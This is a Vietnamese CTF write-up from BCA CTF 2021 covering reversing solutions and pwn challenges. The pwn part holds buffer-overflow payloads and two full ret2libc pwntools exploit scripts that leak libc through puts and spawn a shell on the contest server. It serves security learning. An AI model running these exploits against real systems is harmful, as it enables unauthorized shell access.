wannaShare | Writeup BCA CTF 2021 | Re + Pwn

PHAPHA_JIàN
10:53 17/06/2021

Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com

Reversing

Mochi Nishi

A Fun Game

Challenge

Entry point

File: Game.exe

Solve:

nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/aFunGame$ file Game.exe 
Game.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Mình dùng dnSpy để dịch bài này

Entry point

Việc của mình là đảo ngược lại chuỗi và ta sẽ ra flag.

script.py

string = "}sr3tte1_0001_epYt_yl1aUtca_tNd1d_U0y_yl1uf3p0h{ftcacb"[::-1]
print(string)

bcactf{h0p3fu1ly_y0U_d1dNt_actUa1ly_tYpe_1000_1ett3rs}

Storytime The Opening Gambit

Challenge

Entry point

File: story

Solve:

nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story$ file story 
story: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ccea544c84172f60a939819e4416fdd108982090, for GNU/Linux 3.2.0, not stripped
nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story$ strings story 
/lib64/ld-linux-x86-64.so.2
libc.so.6
nanosleep
puts
__stack_chk_fail
__cxa_finalize
__libc_start_main
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
dH34%(
[]A\A]A^A_
bcactf{w0ol_m4k3s_str1ng_ziv4mk3ca91b}
Baa, baa, black sheep,
Have you any wool?
Yes sir, yes sir,
Three bags full.
One for the master,
One for the dame,
And one for the little boy
Who lives down the lane
Did you know? I almost used "Little Miss Muffet" for this problem.
Spiders make string too, kind of.
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8060
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
main.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
sleepNanos
__stack_chk_fail@@GLIBC_2.4
nanosleep@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

bcactf{w0ol_m4k3s_str1ng_ziv4mk3ca91b}

Storytime The Shocking Conclusion

Challenge

Entry point

File: story3

Solve:

nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story3$ file story3 
story3: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5210af9f7161e4d6b1c076ac4c8a88b15055ee1a, for GNU/Linux 3.2.0, not stripped

Mình check thử IDA thì mình thấy có điều kì lạ:

Entry point

Không có một hàm gì liên quan đến flag cả. Lúc này mình mới nghi ngờ rằng có một hàm trong chương trình được viết nhưng không được chạy. Mình kiểm tra các Entry points thử:

Entry point

Mình vào thử hàm được bôi xanh, và đúng như mình dự đoán, đây có thể là flag:

Entry point

Mình dịch hàm này thử thì thấy là hàm đã truyền vào 60 tham số tương ứng với 60 kí tự trong flag. Và sau đó thực hiện phép biến đổi dựa trên số phút trên máy tính. Lúc này mình sẽ viết script để chạy từ 0 đến 59, tương ứng với số phút, và mã hoá các đoạn kí tự này lại và kiểm tra một trong số chung có là flag không:

File input: abc

script.py

leak = [int(i[i.find('dd')+3:].strip()[:-1], 16) for i in open("abc").readlines()]
for num in range(0, 60):
    cou = 0
    for i in leak:
        val = ((i >> num) - num * cou + 21) & 127
        cou += 1
        print(chr(val), end = "")
    print()

Kiểm tra các kết quả:

Entry point

bcactf{h1dd3n_c0d3_1s_h1dd3n_2c8d}

Storytime The Tragic Interlude

Challenge

Entry point

File: story2

Solve:

nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/story2$ file story2 
story2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1e3cbcc533556d3e4ce1edb0848a21cef1b10365, for GNU/Linux 3.2.0, not stripped

Bài này tuy không hiện flag, nhưng có 1 chỗ khá đáng nghi:

Entry point

Sau đó mình viết script thử để kiểm tra

script.py

v6 = [0 for i in range(50)]
v6[36] = 179;
v6[14] = 180;
v6[6] = 235;
v6[13] = 207;
v6[3] = 193;
v6[10] = 213;
v6[30] = 154;
v6[26] = 57;
v6[15] = 73;
v6[12] = 72;
v6[20] = 64;
v6[4] = 224;
v6[5] = 194;
v6[23] = 174;
v6[29] = 55;
v6[35] = 166;
v6[8] = 192;
v6[7] = 218;
v6[33] = 151;
v6[25] = 61;
v6[17] = 157;
v6[16] = 196;
v6[28] = 182;
v6[24] = 143;
v6[2] = 191;
v6[19] = 190;
v6[21] = 165;
v6[0] = 197;
v6[32] = 34;
v6[11] = 169;
v6[31] = 137;
v6[1] = 196;
v6[18] = 165;
v6[9] = 87;
v6[22] = 52;
v6[27] = 151;
v6[34] = 126;
a = ""
for i in range(37):
    a += (chr((v6[i] >> 1) + i))
print(a)

bcactf{th4t_0th3r_dr4g0n_76fw8kc1lav}

Trailblazer

Challenge

Entry point

File: trailblazer

Solve:

nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/trailblazer$ file trailblazer 
trailblazer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=010143a71b685bdeff46ec988c73c1f2a752faa2, for GNU/Linux 3.2.0, not stripped

Vô IDA kiểm tra thử:

Entry point

Ta thấy hàm check_flag() cùng với một điều kiện của input là độ dài của input phải bằng 47. Ta xem thử hàm check_flag() thì hàm này không thể decompile được. Mình đành đọc assembly + debug để xem chuyện gì đã xảy ra. Thì mình có 1 vài phát hiện thú vị về hàm perms:

Entry point

Hàm _mprotect() khi tra trên google:

Entry point

Tóm tắt ngắn gọn thì hàm này sẽ chỉnh sửa quyền truy cập của một vùng memory pages nào đó. Ở trong bài này, hàm sẽ chỉnh sửa quyền truy cập ở đoạn này:

Entry point

Thêm vào đó, hàm truyền vào tham số 7, nghĩa là ở đoạn code trên, ta có quyền vừa chỉnh sửa, vừa thực hiện chương trình trên đoạn code này. Với đoạn input ở trên, ta có thể suy nghĩ rằng: flag chính là đoạn input này bởi vì từng kí tự trong input sẽ thay đổi đoạn chương trình này bằng các xor các opcodes đã có sẵn trong chương trình với input, sẽ tạo ra các instructions hợp lệ. Lấy ví dụ ở bài này, mình sẽ bật opcodes trong IDA để có thể dễ hình dung:

Entry point

Đầu tiên, mình sẽ để input là bcactf{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}, đủ 47 kí tự, và sau đó mình debug:

Entry point

Có thể thấy rõ rằng các opcode phía sau phép xor đều là các opcode rác. Ta thử step next để xem chuyện gì xảy ra:

Entry point

Ta sửa lại opcode để hiện rõ các instructions:

Entry point

À, bây giờ mọi thứ có vẻ đã đúng hướng:
Bởi vì ta muốn xor các input của ta với opcode rác trong đoạn chương trình đó để tạo thành các instructions hợp lệ, ta 2 instructions mới với các instructions trên thì ta thấy rằng xor [rax+7], rdx cần phải chuyển thành xor [rax+8], rdx, ta thử assemble đoạn code này thành opcode để xem opcode mình cần tìm là gì.

Entry point

Từ đây, mình mới tìm các instructions phù hợp tiếp theo để tìm flag:

Entry point

Ta sẽ thử lấy đoạn opcode này xor với các đoạn opcode rác để xem coi kết quả có phải là flag không

script.py

opcodes =         bytes.fromhex('488B530848315008488B531048315010488B531848315018488B532048315020488B532848315028')
garbage_opcodes = bytes.fromhex('2AE8326B3C572B6627FC0C642050246317E33C6F17483F6D17E93F4132540F4117FF2149215D0F11')
from pwn import *
print(xor(opcodes, garbage_opcodes))
# Result: b'bcactf{now_thats_how_you_blaze_a_trail_9'

Mình còn 1 đoạn flag cuối cùng nữa, dựa vào hint của đề bài:

Entry point

Vậy những đoạn instructions cuối cùng sẽ ra return 0, sao cho opcodes phải đủ 7 bytes.
Một hồi loanh hoanh tìm thì mình cũng có kết quả:

Entry point

Ta viết thêm vào trong script nữa sẽ có kết quả hoàn chỉnh:

script.py

opcodes =         bytes.fromhex('488B530848315008488B531048315010488B531848315018488B532048315020488B532848315028')
garbage_opcodes = bytes.fromhex('2AE8326B3C572B6627FC0C642050246317E33C6F17483F6D17E93F4132540F4117FF2149215D0F11')
from pwn import *
print(xor(opcodes, garbage_opcodes))

bcactf{now_thats_how_you_blaze_a_trail_9fd43x8}

Wait, this isn't C 2 (The Sequel)

Challenge

Entry point

File: flag_checker_2

Solve:

nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/waitThisIsn'tC2$ file flag_checker_2 
flag_checker_2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=23f8256773b016d463a1f8fd482288fa13fec173, for GNU/Linux 3.2.0, not stripped

Như bài trước, đây cũng được viết bằng ngôn ngữ fortran. Mình xem sơ qua thì thấy có vẻ mệt hơn bài đầu =(( Check sơ sơ thì thấy có một vài nơi thú vị, mình sẽ tóm tắt qua hình (lưu ý rằng mình sẽ không đi vào quá chi tiết những đoạn này):

Entry point

Entry point

Entry point

Bây giờ ta cần dịch ngược về input. Để ý ở đây có đoạn nhân ma trận. Gọi F là ma trận vừa dịch chuyển, A là ma trận đề cho, F1 là kết quả, thì ta có: A . F = F1 Ta đã có AF1, muốn tìm lại F ta sẽ có công thức: F = (A^-1) . F1. Và từ đó ta sẽ dịch ngược lại ra input.

script.cpp

#include<bits/stdc++.h>
using namespace std;
int b[10][10], f[10][10], a1[10][10], flag[10][10], k[10][10], a[10][10];
void init() {
    a[0][0] = 1;
    a[0][1] = 2;
    a[0][2] = 4;
    a[0][3] = 7;
    a[0][4] = 0xb;
    a[1][0] = 2;
    a[1][1] = 3;
    a[1][2] = 5;
    a[1][3] = 8;
    a[1][4] = 0xc;
    a[2][0] = 4;
    a[2][1] = 5;
    a[2][2] = 6;
    a[2][3] = 9;
    a[2][4] = 0xd;
    a[03][0] = 7;
    a[03][1] = 8;
    a[03][2] = 9;
    a[03][3] = 0xa;
    a[03][4] = 0xe;
    a[04][0] = 0xb;
    a[04][1] = 0xc;
    a[04][2] = 0xd;
    a[04][3] = 0xe;
    a[04][4] = 0xf;
    flag[0][0] = 0xac0;
    flag[0][1] = 0x779;
    flag[0][2] = 0xa43;
    flag[0][3] = 0x859;
    flag[0][4] = 0x982;
    flag[1][0] = 0xcda;
    flag[1][1] = 0x92c;
    flag[1][2] = 0xc10;
    flag[1][3] = 0x9d5;
    flag[1][4] = 0xb5e;
    flag[2][0] = 0xfc9;
    flag[2][1] = 0xba1;
    flag[2][2] = 0xe65;
    flag[2][3] = 0xbc2;
    flag[2][4] = 0xdfc;
    flag[03][0] = 0x1465;
    flag[03][1] = 0xf9e;
    flag[03][2] = 0x120c;
    flag[03][3] = 0xf08;
    flag[03][4] = 0x1200;
    flag[04][0] = 0x1b6e;
    flag[04][1] = 0x15c2;
    flag[04][2] = 0x17de;
    flag[04][3] = 0x13d5;
    flag[04][4] = 0x183b;
}
void mulMatrix() {
    memset(k, 0, sizeof(k));
    for (int i=0; i<5; i++)
        for (int j=0; j<5; j++) {
            for (int num=0; num<5; num++)
                k[i][j] += (float)a[i][num] * f[num][j];
        }
}
void encryption() {
    string s;
    cin >> s;
    int num = 0;
    for (int i=0; i<5; i++)
        for (int j=0; j<5; j++) {
            if (i + j != 0)
                b[i][j] = (int)s[num];
            num++;
        }
    for (int i = 1; i <= 5; ++i ) {
        for (int j = -2; j <= 2; ++j )
            b[j + 2][i - 1] += j * i;
    }
    for (int i=0; i<5; i++)
        for (int j=0; j<5; j++) {
            f[i][j] = b[i][(j + 2) % 5];
        }
    mulMatrix()
    for (int i=0; i<5; i++) {
        for (int j=0; j<5; j++)
            cout << k[i][j] << " ";
        cout << endl;
    }
    cout << endl;
}
int main(){
    init();
    /*
    here is the input of a[][] array:
    93 89 89 0 94
    120 105 47 115 100
    108 99 101 116 82
    100 86 106 54 97
    117 56 118 97 103
    */
    for (int i=0; i<5; i++)
        for (int j=0; j<5; j++)
            cin >> a[i][j];
    for (int i=0; i<5; i++)
        for (int j=0; j<5; j++) {
            int num = 0;
            if (j - 2 < 0) num = j + 3;
                else num = j - 2;
            flag[i][j] = a[i][num];
        }
    for (int i = 1; i <= 5; ++i ) {
        for (int j = -2; j <= 2; ++j )
            flag[j + 2][i - 1] -= j * i;
    }
    for (int i=0; i<5; i++) {
        for (int j=0; j<5; j++)
            cout << (char)flag[i][j];
    }
    cout << endl;
}

bcactf{m4tRlce5_aRe_co0l}

Wait, this isn't C

Challenge

Entry point

File: flag_checker_1

Solve:

nguyenguyen753@MochiZou:~/CTF/bcaCtf/RE/waitThisIsn'tC$ file flag_checker_1 
flag_checker_1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=44db315a94752488b3ace72816fef8393c9db3fd, for GNU/Linux 3.2.0, not stripped

Sau khi bỏ vào IDA thì mình nhận ra đây là ngôn ngữ Fortran, trước giờ chưa reverse nên mình vừa làm bài này vừa đọc tài liệu tham khảo.
Trong quá trình làm, mình thấy có đoạn này là đoạn chính:

Entry point

Một hồi debug thì mình hiểu rằng chương trình đã kiểm tra bằng cách tại vị trí i, kí tự thứ i - 1 được cộng lên i đơn vị. Vậy là mình viết script để giải bài này

File input: abc

script.py

leak = [int(i[i.find('db') + 3:].strip()[:-1], 16) for i in open("abc").readlines() if i[i.find('db') + 3:].strip() != '0']
for i in range(len(leak)):
    leak[i] -= (i + 1)
    print(chr(leak[i]), end = "")

bcactf{f0rtr4N_i5_c0oO0l}

Pwnable

pivik

BCA Mart

Có lỗi tràn số nguyên trong hàm purchase, vậy mình chỉ cần làm cho biến amount lớn hơn 2,147,483,647 thì nó sẽ trở về số âm. Các bước thực hiện

Honors ABCs

gets(response) => bof

Nếu grade > 100 thì sẽ in flag

Biến response nằm ở rbp-0x50

Còn grade nằm ở rbp-4, vậy mình cần 0x50 - 0x4 = 76 bytes rác + 1 byte ghi đè biến grade. Lưu ý là 76 bytes rác đó không được bắt đầu bằng a vì correct cũng bắt đầu bằng

Và grade sẽ được gán bằng i 4 = 0 nên mình sẽ không thể điều khiển biến grade được. Vậy thay vì phần padding là 76 chữ a, mình có thể thay bằng 76 chữ b => Payload: 'b'76 + 'e'

AP ABCs

Tương tự bài trên => Payload: b'b'*76 + p64(0x73434241)

American Literature

Có lỗi format string. Bài này thì hướng giải như 1 bài ở giải DCTF mà mình đã viết wu rồi. Các bạn tham khảo lại bài này nhé: https://github.com/pivikk/CTF/tree/main/DCTF/Readme

Math Analysis

overflow về hàm cheat()

Advanced Math Analysis

khá giống bài trên, chỉ khác là lần này chương trình sẽ có 1 đoạn so sánh chuỗi ta nhập vào với "i pledge to not cheat". Hàm strcmp chỉ so sánh tới null byte nhưng gets thì không bị terminate khi gặp null byte nên ta có thể dễ dàng bypass đoạn check đó. Payload:

Discrete Mathematics

Chỉ bật mỗi NX + thêm bof => ret2libc thần chưởng :v Đầu tiên thì ta cần leak libc ra trước, từ đó tính toán libc base, có libc base rồi thì sẽ dễ dàng tính được địa chỉ của /bin/sh với system. Để leak được libc thì ta sẽ tận dụng hàm puts. Đầu tiên cần truyền tham số cho hàm puts là puts@got, hay nói cách khác là gọi puts("puts@got") để nó in ra địa chỉ hàm puts trong libc. Sau đó lấy địa chỉ vừa mới leak ra trừ đi offset của hàm puts sẽ được libc base. Payload dùng để leak:

Chạy đoạn exploit trên ta được:

Địa chỉ của hàm puts đã được leak. Sau đó lên https://libc.blukat.me/ để tra libc.

Thường thì bây giờ các bản libc trên server đều từ 2.27 trở lên (trừ 1 vài bài heap), nên mình sẽ tải file libc 2.31 về. Có libc rồi thì sẽ tính được địa chỉ của system với /bin/sh. Exploit code:

from pwn import *
elf = ELF('./discrete')
libc = ELF('./libc.so')
p = remote('bin.bcactf.com', 49160)
pop_rdi = 0x00000000004017a3
ret = 0x000000000040101a
payload = b'i will get an A'
payload += b'\x00'
payload += b'a'*56
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.sym['puts'])
payload += p64(elf.sym['main'])
p.sendline(payload)
p.recvuntil('luck.\n')
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info('leaked puts: ' + hex(leaked_puts))
libc_base = leaked_puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
p.recv()
payload = b'i will get an A'
payload += b'\x00'
payload += b'a'*56
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret)        # Stack alignment
payload += p64(system)
p.sendline(payload)
p.interactive()

Computer Security

Bài này mình cũng dùng kỹ thuật ret2libc như bài trên. Exploit code:

from pwn import *
elf = ELF('./notesearch')
libc = ELF('./libc.so')
p = remote('bin.bcactf.com', 49159)
pop_rdi = 0x0000000000401703
ret = 0x000000000040101a
p.recv()
payload = b'a'*120
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.sym['puts'])
payload += p64(elf.sym['main'])
p.sendline(payload)
p.recvuntil(']-------\n')
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = leaked_puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
p.recv()
payload = b'a'*120
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret)
payload += p64(system)
p.sendline(payload)
p.interactive()
TIN LIÊN QUAN
CLB ATTTT Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com PWN pivik simultaneity Reversing the binary int main() { size_t size; char *chunk; setvbuf(stdout, 0, 2, 0);...
Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com Category: WEB Author: th13ntc My First Website Bài này điêu toa cực, cần-trôn U lên để Ctr+F được...
Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com Mochi Nishi - PwN3v3rY7h1nG Challenge File: weather Disclaimer: Bài này lúc thi mình không giải ra, vì lúc...